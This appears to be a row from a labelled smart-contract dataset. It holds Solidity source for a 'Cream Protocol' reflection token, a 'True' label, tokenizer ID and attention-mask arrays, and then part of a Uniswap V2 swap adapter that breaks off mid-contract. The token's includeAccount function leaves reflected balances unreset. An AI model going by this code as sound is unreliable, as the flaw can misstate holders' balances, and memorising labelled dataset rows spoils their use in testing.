event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CreamProtocol is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Cream Protocol';
string private _symbol = 'Cream';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
import "./UniV2AdapterCore.sol";
contract UniV2ExcessWethCrossPair is UniV2AdapterCore {
function tokenToTokenOutputAmount(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenInAmount
) public view override returns (uint tokenOutAmount) {
IERC20 wethToken = IERC20(address(weth));
uint wethOut = _amountOut(tokenIn, wethToken, tokenInAmount);
tokenOutAmount = _amountOut(wethToken, tokenOut, wethOut);
}
function tokenToTokenInputAmount(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenOutAmount
) public view override returns (uint tokenInAmount) {
IERC20 wethToken = IERC20(address(weth));
uint wethIn = _amountIn(wethToken, tokenOut, tokenOutAmount);
tokenInAmount = _amountIn(tokenIn, wethToken, wethIn);
}
function tokenToTokenExcess(IERC20 tokenIn, IERC20 tokenOut, uint tokenInAmount, uint tokenOutAmount)
external view override
returns (address[] memory excessTokens, int[] memory excessAmounts)
{
uint wethOut = _amountOut(tokenIn, IERC20(address(weth)), tokenInAmount);
uint wethIn = _amountIn(IERC20(address(weth)), tokenOut, tokenOutAmount);
excessTokens = new address[](1);
excessTokens[0] = address(0);
excessAmounts = new int[](1);
excessAmounts[0] = int(wethOut - wethIn);
}
function ethToTokenExcess(IERC20 token, uint ethAmount, uint tokenAmount)
external view override
returns (address[] memory excessTokens, int[] memory excessAmounts)
{
excessTokens = new address[](1);
excessTokens[0] = address(0);
excessAmounts = new int[](1);
excessAmounts[0] = int(ethAmount - _amountIn(IERC20(address(weth)), token, tokenAmount));
}
function tokenToEthExcess(IERC20 token, uint tokenAmount, uint ethAmount)
external view override
returns (address[] memory excessTokens, int[] memory excessAmounts)
{
excessTokens = new address[](1);
excessTokens[0] = address(0);
excessAmounts = new int[](1);
excessAmounts[0] = int(_amountOut(token, IERC20(address(weth)), tokenAmount) - ethAmount);
}
function tokenToToken(IERC20 tokenIn, IERC20 tokenOut, uint tokenInAmount, uint tokenOutAmount, address account) external override {
IERC20 wethToken = IERC20(address(weth));
uint wethOut = _amountOut(tokenIn, wethToken, tokenInAmount);
uint wethIn = _amountIn(wethToken, tokenOut, tokenOutAmount);
require(wethOut >= wethIn, 'UniV2ExcessWethCrossPair: tokenToToken INSUFFICIENT_INPUT_AMOUNT');
_transferInputToPair(tokenIn, wethToken, tokenInAmount);
_singlePairSwap(tokenIn, wethToken, tokenInAmount, wethOut, address(this));
_transferInputToPair(wethToken, tokenOut, wethIn);
_singlePairSwap(wethToken, tokenOut, wethIn, tokenOutAmount, account);
}
function ethToToken(IERC20 token, uint tokenAmount, address account) external payable override {
IERC20 tokenIn = IERC20(address(weth));
IERC20 tokenOut = token;
uint swapInput = _amountIn(tokenIn, tokenOut, tokenAmount);
require(msg.value >= swapInput, 'UniV2ExcessWethCrossPair: ethToToken INSUFFICIENT_INPUT_AMOUNT');
weth.deposit{value: swapInput}();
_transferInputToPair(tokenIn, tokenOut, swapInput);
_singlePairSwap(tokenIn, tokenOut, swapInput, tokenAmount, account);
}
function tokenToEth(IERC20 token, uint tokenAmount, uint ethAmount, address account) external override {
IERC20 tokenIn = token;
IERC20 tokenOut = IERC20(address(weth));
uint swapOutput = _amountOut(tokenIn, tokenOut, tokenAmount);
require(swapOutput >= ethAmount, 'UniV2ExcessWethCrossPair: tokenToEth INSUFFICIENT_OUTPUT_AMOUNT');
_transferInputToPair(tokenIn, tokenOut, tokenAmount);
_singlePairSwap(tokenIn, tokenOut, tokenAmount, swapOutput, address(this));
weth.withdraw(swapOutput);
TransferHelper.safeTransferETH(account, ethAmount);
}
receive() external payable {}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
import '../../Libraries/TransferHelper.sol';
import "../Withdrawable.sol";
import "../ISwapAdapter.sol";
import "../IWETH.sol";
import "./UniswapV2Library.sol";
abstract contract UniV2AdapterCore is ISwapAdapter, Withdrawable {
IWETH public weth;
address public factory;
bool public initialized;
function initialize (IWETH _weth, address _factory) external onlyOwner {
require(!initialized, 'INITIALIZED');
initialized = true;
weth = _weth;
factory = _factory;
}
function tokenToTokenOutputAmount(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenInAmount
) public view override virtual returns (uint tokenOutAmount) {
tokenOutAmount = _amountOut(tokenIn, tokenOut, tokenInAmount);
}
function tokenToTokenInputAmount(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenOutAmount
) public view override virtual returns (uint tokenInAmount) {
tokenInAmount = _amountIn(tokenIn, tokenOut, tokenOutAmount);
}
function ethToTokenOutputAmount(
IERC20 token,
uint ethInAmount
) public view override virtual returns (uint tokenOutAmount) {
tokenOutAmount = _amountOut(IERC20(address(weth)), token, ethInAmount);
}
function ethToTokenInputAmount(
IERC20 token,
uint tokenOutAmount
) public view override virtual returns (uint ethInAmount) {
ethInAmount = _amountIn(IERC20(address(weth)), token, tokenOutAmount);
}
function tokenToEthOutputAmount(
IERC20 token,
uint tokenInAmount
) public view override virtual returns (uint ethOutAmount) {
ethOutAmount = _amountOut(token, IERC20(address(weth)), tokenInAmount);
}
function tokenToEthInputAmount(
IERC20 token,
uint ethOutAmount
) public view override virtual returns (uint tokenInAmount) {
tokenInAmount = _amountIn(token, IERC20(address(weth)), ethOutAmount);
}
function _singlePairSwap(IERC20 tokenIn, IERC20 tokenOut, uint tokenInAmount, uint tokenOutAmount, address to)
internal
{
_swap(_amounts(tokenInAmount, tokenOutAmount), _path(tokenIn, tokenOut), to);
}
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function _transferInputToPair(IERC20 tokenIn, IERC20 tokenOut, uint tokenInAmount) internal {
TransferHelper.safeTransfer(
address(tokenIn),
UniswapV2Library.pairFor(factory, address(tokenIn), address(tokenOut)),
tokenInAmount
);
}
function _amountOut(IERC20 tokenIn, IERC20 tokenOut, uint tokenInAmount)
internal view
returns (uint tokenOutAmount)
{
address[] memory path = _path(tokenIn, tokenOut);
tokenOutAmount = UniswapV2Library.getAmountsOut(factory, tokenInAmount, path)[1];
}
